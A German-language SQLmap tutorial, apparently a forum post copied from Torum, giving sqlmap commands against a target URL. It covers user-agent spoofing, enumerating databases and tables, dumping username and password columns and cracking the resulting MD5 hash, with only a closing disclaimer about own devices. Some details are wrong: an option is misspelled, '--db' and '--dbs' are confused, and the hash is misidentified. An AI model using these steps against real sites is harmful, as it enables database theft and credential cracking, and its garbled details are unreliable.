SQLmap Tutorial

SQLmap ist ein leistungsf�higes Werkzeug, um SQLi-Schwachstellen auszunutzen. Die grundlegende Verwendung ist

Code:

:~$ sqlmap -u "http://website.com/vulnerable?query=50" --db

Es gibt viele Optionen zum Anpassen von SQL Map:

Mit --user-agent= kann man einstellen, von welchem User-Agent die Anfragen kommen:

Code:

--user-agent = GoogleBOT

Oder eine zuf�llig generierte mit:

Code:

--random-agent

Ihr k�nnen auch die Anzahl der Threads festlegen, mit denen gearbeitet werden soll

Code:

--threads=5 (Standard ist 1)

Wenn das SQLi boolean-based ist, muss man die Abfrage m�glicherweise noch eingehender pr�fen, indem das Standardlevel und das Risiko von 1 bis 5 und 3 erh�hen. Dies ist zwar ungenauer, kann jedoch erforderlich sein.

Code:

--level=5
--risk=3

Ausserdem kann man noch DBMS erzwingen:

Code:

--dbms=mysql (oder postgresql/microsoft sql server/ etc)

Benutzen wir zun�chst, was wir gelernt haben:

Code:

:~$ sqlmap -u "http://website.com/vulnerable?query=50" --threads=5 --level=5 --risk=3 --random-agent --dbms=mysql --keep-alive --dbs

Falls dies erfolgreich durchgef�hrt wurde, sollte man folgendes (oder �hnliches sehen):

Code:

available databases [2]:[*] information_schema[*] Main_DB (or whatever it's called)

Jetzt den Aufw�rtspfeil dr�cken, um den vorherigen Befehl anzuzeigen. Ersetzt die Option --db durch -D NameDerTabelle und f�gt --tables hinzu. Dadurch werden die Tabellen f�r diese Datenbank aufgelistet.

Jetzt kann man folgendes verwenden:

Code:

-D NameDerTabelle -T TabellenName --colums --dump

oder

Code:

-D NameDerTabelle -T Tabellenname -C ColumnName --dump

Folgendes kommt dabei dann heraus:

Code:

+----+---------------------------------------------+
| id | username | password
+----+---------------------------------------------+
| 1 | Anon | 5f4dcc3b5aa765d61d8327deb882cf99
+----+---------------------------------------------+

Jetzt muss man nur noch das Passwort cracken. In diesem Fall ist es MD5 und das Passwort ist "passwort". Wenn der Sysadmin faul ist, werden die Kennw�rter manchmal im Klartext angezeigt.

Das Tutorial wird nur zum Testen an eigenen Ger�ten und Servern zur Verf�gung gestellt. Gefunden auf Torum ohne Gew�hr